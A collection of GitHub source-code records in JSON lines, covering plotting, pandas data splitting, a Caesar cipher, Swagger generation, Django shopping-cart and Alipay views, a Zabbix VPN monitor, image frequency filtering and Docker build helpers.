ax03.get_xaxis().set_visible(False)\n\n#去掉边框\nax03.spines['right'].set_visible(False)\nax03.spines['top'].set_visible(False)\n\nax01.set_title(\"(a) Throughput.\",y=-0.7)\nax02.set_title(\"(b) Average latency.\",y=-0.7)\nax03.set_title(\"(c) 99$^{th}$ percentile\\n latency.\",y=-0.8)\n\nplt.margins(0)\n# plt.tight_layout() \n \nplt.savefig(\"../pdf/eva_iops_allocation.pdf\",dpi=600,bbox_inches='tight',pad_inches=0.02)\nplt.show()\nplt.close()","repo_name":"yhzhou-pds/ATC23-Calcspar","sub_path":"figure/eva/eva_cia/eva_iops_alloction.py","file_name":"eva_iops_alloction.py","file_ext":"py","file_size_in_byte":4049,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"82"} +{"seq_id":"11882326674","text":"'''\r\nCreated on 8 Aug 2017\r\n\r\n@author: David Fottrell\r\n\r\nThe purpose of this script is to split out Xiaoxia's Stop to Stop data into individual routes. Rather than try to build 1 single Excel \r\nsheet with all data in it, this script seeks to open each week individually and append the data to the dataframe, before processing \r\nas per the original procedure. \r\n\r\nEach weeks data containing stop level records contains approximately 9 million rows of data. We encounter memory errors trying to\r\nwork with dataframes this big, never mind concatenated files for a whole month. As a result, we decided to split the bus routes into\r\na separate dataframe and store them as CSV's for modelling later.\r\n\r\nThe reason for two basic functions is that the Week 1 function creates the CSV's. The other function appends the same CSV's created \r\nin week 2- 4.\r\n\r\n'''\r\nimport gc\r\nimport pandas as pd\r\n#import feather as ft\r\n\r\ndef main():\r\n #week1()\r\n week2Plus()\r\n print(\"Program end!!\")\r\n return\r\n\r\ndef week1(): \r\n counter = 1\r\n # Create the dataframe with Xiaoxia's data & drop unnecessary columns\r\n print(\"Starting to read base dataframe for week 1...\")\r\n #df = pd.read_csv('C:\\\\Users\\\\User\\\\Desktop\\\\Research Project\\\\Data\\\\Stop to Stop\\\\Week2_avg.csv')\r\n df = pd.read_csv('C:\\\\Users\\\\User\\\\Desktop\\\\Research Project\\\\Data\\\\Stop to Stop\\\\Week' + str(counter) +'_avg.csv')\r\n df.drop('Unnamed: 0', axis = 1, inplace=True)\r\n df.drop('UnixTimestamp', axis = 1, inplace=True)\r\n df.drop('Day_of_Week', axis = 1, inplace=True)\r\n \r\n # Initialise the tuple with all of the individual bus routes\r\n t1 = df.BusRoute.unique()\r\n zip(t1)\r\n \r\n print(\"Starting to extract Week 1 bus routes to CSV...\")\r\n \r\n # For loop to iterate through each of the routes\r\n for i in t1:\r\n name = 'BR' + str(i)\r\n print(\"Starting on route\", i)\r\n df1 = df[df.BusRoute == i]\r\n df1.to_csv('C:\\\\Users\\\\User\\\\Desktop\\\\Research Project\\\\Data\\\\Stop to Stop\\\\Bus Route CSV\\\\' + name + '.csv')\r\n gc.collect()\r\n df1.drop(df1.index, inplace = True)\r\n # This next line purges the dataframe to prevent cross contamination when reused\r\n df.drop(df.index, inplace = True)\r\n print(\"Finished extracting bus routes for week 1...\")\r\n return\r\n\r\ndef week2Plus():\r\n counter = 3\r\n for j in range(2):\r\n print('Starting to read base dataframe for week' + str(counter) + '...')\r\n #df = pd.read_csv('C:\\\\Users\\\\User\\\\Desktop\\\\Research Project\\\\Data\\\\Stop to Stop\\\\Week' + str(counter) +'_avg.csv')\r\n df = pd.read_csv('C:\\\\Users\\\\User\\\\Desktop\\\\Research Project\\\\Data\\\\Stop to Stop\\\\Week' + str(counter) +'_avg.csv')\r\n df.drop('Unnamed: 0', axis = 1, inplace=True)\r\n df.drop('UnixTimestamp', axis = 1, inplace=True)\r\n df.drop('Day_of_Week', axis = 1, inplace=True)\r\n \r\n # Initialise the tuple with all of the individual bus routes\r\n t1 = df.BusRoute.unique()\r\n zip(t1)\r\n \r\n print('Starting to extract Week' + str(counter) + 'bus routes to CSV...')\r\n \r\n # For loop to iterate through each of the routes\r\n for k in t1:\r\n name = 'BR' + str(k)\r\n print('Starting on route', k)\r\n df1 = df[df.BusRoute == k]\r\n # This file write is different because we are trying t append data to files which now already exist\r\n with open ('C:\\\\Users\\\\User\\\\Desktop\\\\Research Project\\\\Data\\\\Stop to Stop\\\\Bus Route CSV\\\\' + name + '.csv', 'a') as f:\r\n df1.to_csv(f, header = False)\r\n df1.drop(df1.index, inplace = True)\r\n # These next 2 lines purges the data frames to prevent cross contamination when reused\r\n df.drop(df.index, inplace = True)\r\n df1.drop(df1.index, inplace = True)\r\n gc.collect()\r\n print('Finished extracting bus routes for week' + str(counter) + '...')\r\n counter += 1\r\n \r\n\r\n return\r\n\r\nif __name__ == '__main__':\r\n main()","repo_name":"dfottrell/Research-Project-Tools","sub_path":"RouteSplitter_rev2.py","file_name":"RouteSplitter_rev2.py","file_ext":"py","file_size_in_byte":4009,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"71351318669","text":"def cipher(text, shift, encrypt=True):\n \n \"\"\"\n Description: The cipher uses inputs of string data and shifts the letters within the alphabet by the \n designated shift input. Thus it encrypts strings so they no longer appear in their original form. \n \n Inputs:\n Text: String data to be ciphered\n Shift: The number of positions in the alphabet to shift (positive to the right, negative to the left)\n Encrypt: Boolean True/False to determine whether the shift input is activated for the string\n Output: \n Returns string that is shifted respective amount of letters denoted with shift input when Encrypt is True.\n \n Use Case Example: \n Input: cipher('Hello',5,encrypt=True)\n Output: 'Mjqqt'\n Input: cipher('Hello',5,encrypt=False)\n Output: 'Hello'\n \"\"\" \n \n alphabet = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'\n new_text = ''\n for c in text:\n index = alphabet.find(c)\n if index == -1:\n new_text += c\n else:\n new_index = index + shift if encrypt == True else index - shift\n new_index %= len(alphabet)\n new_text += alphabet[new_index:new_index+1]\n return new_text","repo_name":"QMSS-G5072-2021/cipher_remy_spanierman","sub_path":"cipher_rs4106/src/cipher_rs4106/cipher_rs4106.py","file_name":"cipher_rs4106.py","file_ext":"py","file_size_in_byte":1244,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"36087048988","text":"\"\"\"\nTools for generating Swagger Specification from resources.\n\"\"\"\nfrom odin import fields\nfrom odin.utils import getmeta\n\nSWAGGER_SPEC_TYPE_MAPPING = {\n fields.IntegerField: \"integer\",\n fields.FloatField: \"number\",\n fields.BooleanField: \"boolean\",\n}\n\"\"\"\nMapping of fields to Swagger types.\n\"\"\"\n\nSWAGGER_SPEC_FORMAT_MAPPING = {\n fields.StringField: \"\",\n fields.IntegerField: \"int64\",\n fields.FloatField: \"float\",\n fields.BooleanField: \"\",\n fields.DateField: \"date\",\n fields.DateTimeField: \"date-time\",\n fields.NaiveTimeField: \"date-time\",\n}\n\"\"\"\nMapping of fields to Swagger formats.\n\"\"\"\n\n\ndef generate_definition(resource):\n \"\"\"\n Generate a `Swagger Definitions Object `_\n from a resource.\n\n \"\"\"\n meta = getmeta(resource)\n\n definition = {\"type\": \"object\", \"properties\": {}}\n\n for field in meta.all_fields:\n field_definition = {\"type\": SWAGGER_SPEC_TYPE_MAPPING.get(field, \"string\")}\n\n if field in SWAGGER_SPEC_FORMAT_MAPPING:\n field_definition[\"format\"] = SWAGGER_SPEC_FORMAT_MAPPING[field]\n\n if field.doc_text:\n field_definition[\"description\"] = field.doc_text\n\n definition[\"properties\"][field.name] = field_definition\n\n return {meta.name: definition}\n","repo_name":"python-odin/odin","sub_path":"src/odin/contrib/swagger/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1309,"program_lang":"python","lang":"en","doc_type":"code","stars":34,"dataset":"github-code","pt":"82"} +{"seq_id":"28925125652","text":"from rest_framework import viewsets\n\nfrom rest_framework.permissions import IsAuthenticated\nfrom utils.permissions import IsOwnerOrReadOnly\n\nfrom rest_framework_jwt.authentication import JSONWebTokenAuthentication\nfrom rest_framework.authentication import SessionAuthentication\n\nfrom trade.serializer import ShopCartSerializer,ShopCartDetailSerializer,OrderDetailSerializer,OrderSerializer\n\nfrom trade.models import ShoppingCart,OrderGoods,OrderInfo\n\nfrom rest_framework import mixins\n\nfrom datetime import datetime\nfrom utils.alipay import AliPay\nfrom rest_framework.views import APIView\nfrom shopSite.settings import ali_pub_key_path, private_key_path\nfrom rest_framework.response import Response\n\n# Create your views here.\n\n\nclass ShoppingCartViewset(viewsets.ModelViewSet):\n\t'''\n\t购物车功能\n\tlist:\n\t\t获取购物车详情\n\tcreate:\n\t\t加入购物车\n\tdelete:\n\t\t删除购物记录\n\t'''\n\tserializer_class = ShopCartSerializer\n\n\tauthentication_classes = (JSONWebTokenAuthentication, SessionAuthentication)\n\tpermission_classes = (IsAuthenticated, IsOwnerOrReadOnly)\n\n\tdef get_serializer_class(self):\n\t\tif self.action == 'list':\n\t\t\t# 给列表补充详情数据\n\t\t\treturn ShopCartDetailSerializer\n\t\telse:\n\t\t\treturn ShopCartSerializer\n\n\tdef get_queryset(self):\n\t\treturn ShoppingCart.objects.filter(user = self.request.user)\n\n\t# 购物车商品数增加,库存数减少\n\t# 当要保存对象时候会被调用,serializer表示要保存对象的数据\n\t# 疑问:购物车里面的商品会不会占用库存数,相当于这个商品暂时是这个用户的,只是还没购买,然后库存数就会减小\n\tdef perform_create(self, serializer):\n\t\tshop_cart = serializer.save()\n\t\tgoods = shop_cart.goods\n\t\tgoods.goods_num -= shop_cart.nums\n\t\tgoods.save()\n\n\t# 购物车商品数减少,库存数增加\n\t# 当要删除对象时候会被调用,instance表示要删除的数据\n\tdef perform_destroy(self, instance):\n\t\tgoods = instance.goods\n\t\tgoods.goods_num += instance.nums\n\t\tgoods.save()\n\t\tinstance.delete()\n\n\t# 更新库存\n\tdef perform_update(self, serializer):\n\t\texisted_record = ShoppingCart.objects.get(id=serializer.instance.id)\n\t\t# 购物车商品数(后端)\n\t\texisted_nums = existed_record.nums\n\t\t# 购物车商品数(前端)\n\t\tsaved_record = serializer.save()\n\t\t# 变化的数量\n\t\tnums = saved_record.nums-existed_nums\n\t\tgoods = saved_record.goods\n\t\t# nums↓goods_num↑,nums↑goods_num↓\n\t\tgoods.goods_num -= nums\n\t\tgoods.save()\n\n\n\n\nclass OrderViewset(mixins.ListModelMixin,\n\t\t\t\t\t\t\t\t\t\tmixins.RetrieveModelMixin,\n\t\t\t\t\t\t\t\t\t\tmixins.CreateModelMixin,\n\t\t\t\t\t\t\t\t\t\tmixins.DestroyModelMixin,\n\t\t\t\t\t\t\t\t\t\tviewsets.GenericViewSet):\n\t'''\n\t订单管理\n\tlist:\n\t\t获取个人订单\n\tdelete:\n\t\t删除订单\n\tcreate:\n\t\t新增订单\n\t'''\n\tserializer_class = OrderSerializer\n\tauthentication_classes = (JSONWebTokenAuthentication, SessionAuthentication)\n\tpermission_classes = (IsAuthenticated, IsOwnerOrReadOnly)\n\n\tdef get_serializer_class(self):\n\t\tif self.action == 'retrieve':\n\t\t\treturn OrderDetailSerializer\n\t\treturn OrderSerializer\n\n\tdef get_queryset(self):\n\t\treturn OrderInfo.objects.filter(user=self.request.user)\n\t\n\t# 在订单提交保存之前还需要多两步步骤,所以重写perform_create,不只保存实例:\n\t# 1.将购物车中的商品保存到OrderGoods中;2.清空购物车\n\tdef perform_create(self, serializer):\n\t\torder = serializer.save()\n\n\t\t# 中间的操作\n\t\tshop_carts = ShoppingCart.objects.filter(user=self.request.user)\n\t\tfor shop_cart in shop_carts:\n\t\t\t# 订单商品数据来源于购物车商品数据\n\t\t\torder_goods = OrderGoods()\n\t\t\torder_goods.goods = shop_cart.goods\n\t\t\torder_goods.goods_num = shop_cart.nums\n\t\t\torder_goods.order = order\n\t\t\torder_goods.save()\n\t\t\tshop_cart.delete()\n\n\t\treturn order\n\n\n\n# 文档:服务器异步通知页面特性\nclass AlipayView(APIView):\n\tdef get(self, request):\n\t\t\"\"\"\n\t\t处理支付宝的return_url返回,完成交易后通知前端\n\t\t\"\"\"\n\t\tprocessed_dict = {}\n\t\t# 1. 获取GET中参数\n\t\tfor key, value in request.GET.items():\n\t\t\tprocessed_dict[key] = value\n\t\t# 2. 取出sign\n\t\tsign = processed_dict.pop(\"sign\", None)\n\n\t\t# 3. 生成ALipay对象\n\t\talipay = AliPay(\n\t\t\tappid=\"2016091700531867\",\n\t\t\tapp_notify_url=\"http://47.104.158.4:8000/alipay/return/\",\n\t\t\tapp_private_key_path=private_key_path,\n\t\t\talipay_public_key_path=ali_pub_key_path,\n\t\t\tdebug=True,\n\t\t\treturn_url=\"http://47.104.158.4:8000/alipay/return/\"\n\t\t)\n\n\t\tverify_re = alipay.verify(processed_dict, sign)\n\n\t\tif verify_re is True:\n\t\t\t# 这里可以不做操作。因为不管发不发return url。notify url都会修改订单状态。\n\t\t\t# order_sn = processed_dict.get('out_trade_no', None)\n\t\t\t# trade_no = processed_dict.get('trade_no', None)\n\t\t\t# trade_status = processed_dict.get('trade_status', None)\n\n\t\t\t# existed_orders = OrderInfo.objects.filter(order_sn=order_sn)\n\t\t\t# for existed_order in existed_orders:\n\t\t\t# \texisted_order.pay_status = trade_status\n\t\t\t# \texisted_order.trade_no = trade_no\n\t\t\t# \texisted_order.pay_time = datetime.now()\n\t\t\t# \texisted_order.save()\n\n\t\t\tresponse = redirect(\"/index/#/app/home/member/order\")\n\t\t\treturn response\n\t\telse:\n\t\t\tresponse = redirect(\"index\")\n\t\t\treturn response\n\n\tdef post(self, request):\n\t\t\"\"\"\n\t\t处理支付宝的notify_url,完成交易后通知后端(通知支付宝success)\n\t\t\"\"\"\n\t\t# 存放post里面所有的数据\n\t\tprocessed_dict = {}\n\t\t# 取出post里面的数据\n\t\tfor key, value in request.POST.items():\n\t\t\t\tprocessed_dict[key] = value\n\t\t# 把signpop掉,文档有说明\n\t\tsign = processed_dict.pop(\"sign\", None)\n\n\t\t# 生成一个Alipay对象\n\t\talipay = AliPay(\n\t\t\tappid=\"2016091700531867\",\n\t\t\tapp_notify_url=\"http://47.104.158.4:8000/alipay/return/\",\n\t\t\tapp_private_key_path=private_key_path,\n\t\t\talipay_public_key_path=ali_pub_key_path,\n\t\t\tdebug=True,\n\t\t\treturn_url=\"http://47.104.158.4:8000/alipay/return/\"\n\t\t)\n\n\t\t# 进行验证\n\t\tverify_re = alipay.verify(processed_dict, sign)\n\n\t\t# 验签成功success,失败不success\n\t\tif verify_re is True:\n\t\t\t# 商户网站唯一订单号\n\t\t\torder_sn = processed_dict.get('out_trade_no', None)\n\t\t\t# 支付宝系统交易流水号\n\t\t\ttrade_no = processed_dict.get('trade_no', None)\n\t\t\t# 交易状态\n\t\t\ttrade_status = processed_dict.get('trade_status', None)\n\n\t\t\t# 查询数据库中订单记录\n\t\t\texisted_orders = OrderInfo.objects.filter(order_sn=order_sn)\n\t\t\tfor existed_order in existed_orders:\n\t\t\t\t# 订单商品项\n\t\t\t\torder_goods = existed_order.goods.all()\n\n\t\t\t\t# 商品销量增加订单中数值\n\t\t\t\tfor order_good in order_goods:\n\t\t\t\t\tgoods = order_good.goods\n\t\t\t\t\tgoods.sold_num += order_good.goods_num\n\t\t\t\t\tgoods.save()\n\n\t\t\t\t# 更新订单状态\n\t\t\t\texisted_order.pay_status = trade_status\n\t\t\t\texisted_order.trade_no = trade_no\n\t\t\t\texisted_order.pay_time = datetime.now()\n\t\t\t\texisted_order.save()\n\n\t\t\treturn Response(\"success\")","repo_name":"smileboyi/shopSite","sub_path":"apps/trade/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":6811,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"82"} +{"seq_id":"14934481377","text":"import socket\n\nsock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\nserver_address = ('localhost', 4568)\n\n#~ message = b'Import fbx_file based on info xml_file'\nmessage = b'quit'\n\ntry:\n\n # Send data\n print('sending {!r}'.format(message))\n sent = sock.sendto(message, server_address)\n\n # Receive response\n #~ print('waiting to receive')\n #~ data, server = sock.recvfrom(4096)\n #~ print('received {!r}'.format(data))\n\nfinally:\n print('closing socket')\n sock.close()","repo_name":"MerlinEl/Micra","sub_path":"Micra4/CORE_PY/+/del_11.py","file_name":"del_11.py","file_ext":"py","file_size_in_byte":493,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"82"} +{"seq_id":"10511723170","text":"#! /usr/bin/python3\n#Return json formatted db for zabbix low level discovery\n#Rafael Gustavo Gassner - 01/2022\n\n#apt install python3-pip\n#pip3 install xmltodict\n#pip3 install py-zabbix\n\nimport requests,xmltodict,json\nfrom datetime import datetime\nfrom pyzabbix import ZabbixMetric, ZabbixSender\nfrom requests.packages.urllib3.exceptions import InsecureRequestWarning\nrequests.packages.urllib3.disable_warnings(InsecureRequestWarning)\n\nTHIS_HOST='Zabbix server'\nZABBIX_SERVER='192.168.1.1'\nWEB_SERVER=''\nKEY=''\n\nurl = 'https://'+WEB_SERVER+'/api/?type=op&cmd=%3Cshow%3E%3Crunning%3E%3Ctunnel%3E%3Cflow%3E%3Call%3E%3C/all%3E%3C/flow%3E%3C/tunnel%3E%3C/running%3E%3C/show%3E&key='+KEY\n\npacket=[]\nctime=datetime.now()\nctime=int(ctime.timestamp())\nresponse = requests.get(url,verify=False)\ndata = json.loads(json.dumps(xmltodict.parse(response.content)))\n\n#Low Level Discovery\nfirst=True\nlld='{ \\\"data\\\":['\nfor vpn in data['response']['result']['IPSec']['entry']:\n if first:\n first=False\n else:\n lld=lld+','\n lld=lld+'{'\n lld=lld+'\"name\":\"'+vpn['name']+'\",'\n lld=lld+'\"key\":\"'+vpn['name']+'\"'\n lld=lld+'}'\nlld=lld+']}'\npacket.append(ZabbixMetric(THIS_HOST,'pavpn.discovery',lld,ctime))\n\n\n#Send data\nfor vpn in data['response']['result']['IPSec']['entry']:\n for key, value in vpn.items():\n packet.append(ZabbixMetric(THIS_HOST,'pavpn.'+key+'['+vpn['name']+']',value,ctime))\nresult = ZabbixSender(use_config=False,zabbix_server=ZABBIX_SERVER).send(packet)\n\n","repo_name":"rggassner/gassnerZabbixScripts","sub_path":"paloAltoVPN/pavpn.py","file_name":"pavpn.py","file_ext":"py","file_size_in_byte":1493,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"82"} +{"seq_id":"25825640401","text":"import numpy as np\nfrom numpy import linalg\n\nfrom matplotlib import pyplot as plt\nfrom math import sqrt\n\n### Settings\ndev = True\n\ndef circle_kernel(width = 100, height = 100, radius = 50, max_val=255):\n\n # Get center\n a, b = np.round(width / 2), np.round(height / 2)\n\n y,x = np.ogrid[-a:width-a, -b:height-b]\n mask = x*x + y*y <= radius*radius\n\n array = np.zeros((width, height))\n array[mask] = max_val\n return array\n\n\n\ndef disk_kernel(width = 100, height = 100, inner_radius = 20, outer_radius = 5, max_val=255):\n\n # Get center\n a, b = np.round(width / 2), np.round(height / 2)\n\n y,x = np.ogrid[-a:width-a, -b:height-b]\n mask = (x*x + y*y <= outer_radius*outer_radius) & (x*x + y*y >= inner_radius * inner_radius)\n\n array = np.zeros((width, height))\n array[mask] = max_val\n return array\n\ndef gaussian_filter(kernel_size=10, sigma=5):\n\n # Build kernel based on sigma\n rows, cols = kernel_size\n kernel = np.zeros((rows, cols))\n\n\n### FrequencyImage class\n\nclass FrequencyImage:\n\n def __init__(self, prog_id, img, img_format, freq_low=0.0, freq_high=255.0, val_low=0.0, val_high=100.0, filter_type='bandpass'):\n\n self.prog_id = prog_id\n\n self.img = img\n self.notch_image = None\n self.img_format = img_format\n\n self.spectrum = np.array([])\n self.mod_spectrum = np.array([])\n\n self.freq_high = freq_high\n self.freq_low = freq_low\n\n self.val_high = val_high\n self.val_low = val_low\n\n self.filter_type = filter_type\n \n\n self.mod_img = np.array([])\n\n # Preprocess\n self.set_spectrum(self.img)\n\n\n ### SETTERS\n\n\n def set_freq_high(self, freq_high):\n self.freq_high = freq_high\n\n\n\n def set_freq_high(self, freq_low):\n self.freq_low = freq_low\n\n\n def set_notch_filter_image (self, notch_image):\n\n # Check if notch image and normal image has the same dimensions. If not, scale it\n if notch_image.shape != self.img.shape:\n np.resize(notch_image, self.img.shape)\n\n # Normalize filter\n self.notch_image = notch_image / 255\n\n def set_mod_img(self):\n\n # TODO: De-normalize image\n\n # reverse power of 2 and np.log\n fshift = np.sqrt(self.mod_spectrum)\n fshift = np.exp(fshift)\n # Inverse the fft shifting & FFT\n frequencies = np.fft.ifftshift(fshift)\n mod_img = np.fft.ifft2(frequencies)\n\n self.mod_img = np.abs(mod_img)\n\n \n\n\n\n def set_spectrum(self, img):\n\n # Calculate the frequency spectrum with fast fourier transform\n frequencies = np.fft.fft2(img)\n \n # Now shift the quadrants around so that freq_low spatial frequencies are in\n # the center of the 2D fourier transformed image.\n fshift = np.fft.fftshift(frequencies)\n\n fshift = np.log(fshift)\n fshift = fshift ** 2\n\n # TODO: scale spectrum to be quadratic\n \n\n # Return results\n if dev:\n print('---------- SPECTRUM RESULTS -----------')\n print('Image metrics:')\n print('Size of image: {}'.format(np.shape(img)))\n print('Min: {}, max: {}'.format(np.min(img), np.max(img)))\n print('Median: {}, mean: {}'.format(np.median(img), np.mean(img)))\n print('\\n')\n print('Spectrum metrics:')\n print('Format of fourier transformation: {}'.format(np.shape(fshift)))\n print('Min: {}, max: {}'.format(np.min(fshift), np.max(fshift)))\n print('Median: {}, mean: {}'.format(np.median(fshift), np.mean(fshift)))\n print('\\n')\n\n self.spectrum = fshift\n self.mod_spectrum = fshift\n\n self.filter_spectrum(self.freq_low, self.freq_high, self.val_low, self.val_high, self.filter_type)\n\n\n \n def filter_spectrum(self, freq_low, freq_high, val_low, val_high, filter_type='bandpass', notch_image = None):\n\n if dev:\n print('Filter with these settings:\\nFreq high: {}\\nFreq low: {}\\nval high: {}\\nval low: {}\\nInverse: {}'.format(freq_low, freq_high, val_low, val_high, filter_type))\n\n # Set val_low and val_high\n self.val_low = val_low\n self.val_high = val_high\n\n self.freq_low = freq_low\n self.freq_high = freq_high\n\n self.filter_type = filter_type\n\n self.notch_image = notch_image\n\n # Reset spectrum so we always modify a fresh copy\n mod_spectrum = np.copy(self.spectrum)\n\n min_val = np.min(mod_spectrum.real)\n if min_val < 0:\n min_val = 0\n\n max_val = np.max(mod_spectrum.real)\n\n if dev:\n print('Spectrum: Min val: {} \\nMax val: {}'.format(np.min(mod_spectrum), np.max(mod_spectrum)))\n\n\n # Filter\n # if filter_type:\n # mod_spectrum[mod_spectrum[:] > val_low] = 0.0\n # mod_spectrum[mod_spectrum[:] < max_val * val_high / 1000] = 0.0\n # else:\n # mod_spectrum[mod_spectrum[:] < val_low] = 0.0\n # mod_spectrum[mod_spectrum[:] > max_val * val_high / 1000] = 0.0\n\n # Make filter_type filter mask based on band pass or band reject\n if filter_type == 'bandpass':\n kernel = disk_kernel(np.shape(mod_spectrum)[0], np.shape(mod_spectrum)[1], max_val * val_low / 100 * 2, max_val * val_high / 100 * 2, max_val=1.0)\n else:\n kernel = disk_kernel(np.shape(mod_spectrum)[0], np.shape(mod_spectrum)[1], max_val * val_high / 100 * 2, max_val * val_low / 100 * 2, max_val=1.0)\n\n mod_spectrum *= kernel\n\n print(kernel)\n\n if dev:\n print('Size of kernel: {}'.format(kernel.shape))\n # Apply notch image as filter if given\n if notch_image is not None:\n if dev:\n print(\"notch image is not None. Modify mod spectrum with notch image\")\n print('Size of notch image: {}'.format(notch_image.shape))\n mod_spectrum *= notch_image / 255\n print(notch_image)\n\n else:\n if dev:\n print(\"notch image not found.\")\n\n self.mod_spectrum = mod_spectrum\n\n # Get center of spectrum\n # shape = np.shape(self.mod_spectrum)\n # width = shape[0]\n # height = shape[1]\n\n # center = [width / 2 , height / 2]\n\n # # Calculate euclidean distance and compare for each point\n # for idx, value in enumerate(self.mod_spectrum):\n # dist = np.linalg.norm(center,idx)\n # if dist < width * height * freq_low / 100 or dist > width * height * freq_high / 100:\n # self.mod_spectrum[idx] = 0\n\n self.set_mod_img()\n\n\n ### GETTERS\n\n\n def get_spectrum (self):\n return np.abs(self.mod_spectrum)\n\n def get_mod_img (self):\n return self.mod_img\n\n def get_prog_Id (self):\n return self.prog_id","repo_name":"xu-chris/fospex","sub_path":"backend/FrequencyImage.py","file_name":"FrequencyImage.py","file_ext":"py","file_size_in_byte":6862,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"82"} +{"seq_id":"39489290961","text":"from rest_framework_simplejwt.views import (\n TokenObtainPairView,\n TokenRefreshView,\n)\nfrom rest_framework.authtoken.views import obtain_auth_token\n\n# Swagger configuration\nfrom drf_spectacular.views import (\n SpectacularAPIView,\n SpectacularRedocView,\n SpectacularSwaggerView,\n)\nfrom django.urls import path\nfrom . import views\n\n\napp_name = \"app_restapi\"\nurlpatterns = [\n # Swagger and ReDoc Documentation\n path(\"schema/\", SpectacularAPIView.as_view(), name=\"schema\"),\n path(\n \"docs/\",\n SpectacularSwaggerView.as_view(url_name=\"app_restapi:schema\"),\n name=\"swagger-ui\",\n ),\n path(\n \"redoc/\",\n SpectacularRedocView.as_view(url_name=\"app_restapi:schema\"),\n name=\"redoc\",\n ),\n # authentication django token\n path(\"django-token/\", obtain_auth_token, name=\"api_token_auth\"),\n # authentication (JWT)\n path(\"token/\", TokenObtainPairView.as_view(), name=\"token_obtain_pair\"),\n path(\"token/refresh/\", TokenRefreshView.as_view(), name=\"token_refresh\"),\n # Users\n path(\"users/\", views.ApiGetUsers.as_view(), name=\"api_user_list\"),\n path(\n \"user//\",\n views.ApiGetPutDeleteUser.as_view(),\n name=\"api_user_detail\",\n ),\n path(\n \"user/\",\n views.ApiCreateUser.as_view(),\n name=\"api_user_create\",\n ),\n path(\"user/mails/\", views.ApiGetMails.as_view(), name=\"api_mail_list\"),\n path(\"user/mail//\", views.ApiGetMail.as_view(), name=\"api_mail_detail\"),\n path(\"user/chats/\", views.ApiGetChats.as_view(), name=\"api_chats_list\"),\n path(\"user/chat//\", views.ApiGetChat.as_view(), name=\"api_chat_detail\"),\n # Socks\n path(\"user/socks/\", views.ApiGetSocks.as_view(), name=\"api_sock_list\"),\n path(\"user/sock//\", views.ApiGetSock.as_view(), name=\"api_sock_detail\"),\n]\n","repo_name":"Pomiray92/Hot_sox_Team_Project","sub_path":"django/app_restapi/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1841,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"36079013781","text":"\"\"\"\nGiven a binary tree, determine if it is a valid binary search tree (BST).\n\nAssume a BST is defined as follows:\n\nThe left subtree of a node contains only nodes with keys less than the node's key.\nThe right subtree of a node contains only nodes with keys greater than the node's key.\nBoth the left and right subtrees must also be binary search trees.\n\"\"\"\n\n\n# Definition for a binary tree node.\nclass TreeNode:\n def __init__(self, val=0, left=None, right=None):\n self.val = val\n self.left = left\n self.right = right\n\n\nclass Solution:\n def isValidBST(self, root: TreeNode, low=float(\"-inf\"), high=float(\"inf\")):\n if not root:\n return True\n if root.val <= low or root.val >= high:\n return False\n return self.isValidBST(root.left, low, min(high, root.val)) \\\n and self.isValidBST(root.right, max(low, root.val), high)\n\n\nprint(isValidBST([2, 1, 3]))\nprint(isValidBST([5, 1, 4, None, None, 3, 6]))\nprint(isValidBST([1]))\nprint(\"The booleans above should be True, False, and True.\")\n","repo_name":"alvinwang922/Data-Structures-and-Algorithms","sub_path":"Trees/Validate-Binary-Tree.py","file_name":"Validate-Binary-Tree.py","file_ext":"py","file_size_in_byte":1059,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"82"} +{"seq_id":"35839498875","text":"import sys\nimport numpy as np\nimport pandas as pd\nfrom pyntcloud import PyntCloud\n\n\ndef save_points(filename, points):\n \"\"\"Assumes point in columns\"\"\"\n frame = pd.DataFrame(points[:, 0:3], columns=['x', 'y', 'z'])\n print(frame)\n cloud = PyntCloud(frame)\n\n cloud.to_file(filename)\n\n\n# Print iterations progress\ndef print_progress(iteration, total):\n \"\"\"\n Call in a loop to create terminal progress bar\n\n Parameters\n ----------\n\n iteration :\n Current iteration (Int)\n total :\n Total iterations (Int)\n \"\"\"\n str_format = \"{0:.0f}\"\n percents = str_format.format(100 * (iteration / float(total)))\n filled_length = int(round(100 * iteration / float(total)))\n bar = '█' * filled_length + '-' * (100 - filled_length)\n\n sys.stdout.write('\\r |%s| %s%%' % (bar, percents)),\n\n if iteration == total:\n sys.stdout.write('\\n')\n sys.stdout.flush()","repo_name":"catphive/goturn3d","sub_path":"utilities.py","file_name":"utilities.py","file_ext":"py","file_size_in_byte":930,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"10646497554","text":"from __future__ import annotations\n\nfrom pathlib import Path\nfrom textwrap import indent\nfrom typing import Dict, Optional, Tuple\n\nfrom ._docker_cuda import CUDADockerfileGenerator, get_cuda_dockerfile_generator\nfrom ._docker_init import init_dockerfile\nfrom ._docker_mamba import mamba_add_reqs_dockerfile, mamba_install_dockerfile\nfrom ._image import Image\nfrom ._package_manager import PackageManager\nfrom ._url_reader import URLReader, get_url_reader\nfrom ._utils import image_command_check, parse_cuda_info, prefix_image_tag, temp_image\n\n\ndef setup_init(\n base: str, tag: str, no_cache: bool, test: bool = False\n) -> Tuple[Image, PackageManager, URLReader]:\n \"\"\"\n Set up the initial configuration image.\n\n Parameters\n ----------\n base : str\n The name of the image upon this one will be based.\n tag : str\n The tag of the image to be built.\n no_cache : bool\n Run Docker build with no cache if True.\n test : bool, optional\n Add a \"test\" directory to the image if True. Used for test images.\n Defaults to False.\n\n Returns\n -------\n image : Image\n The generated image.\n package_mgr : PackageManager\n The package manager present on the image.\n url_reader : 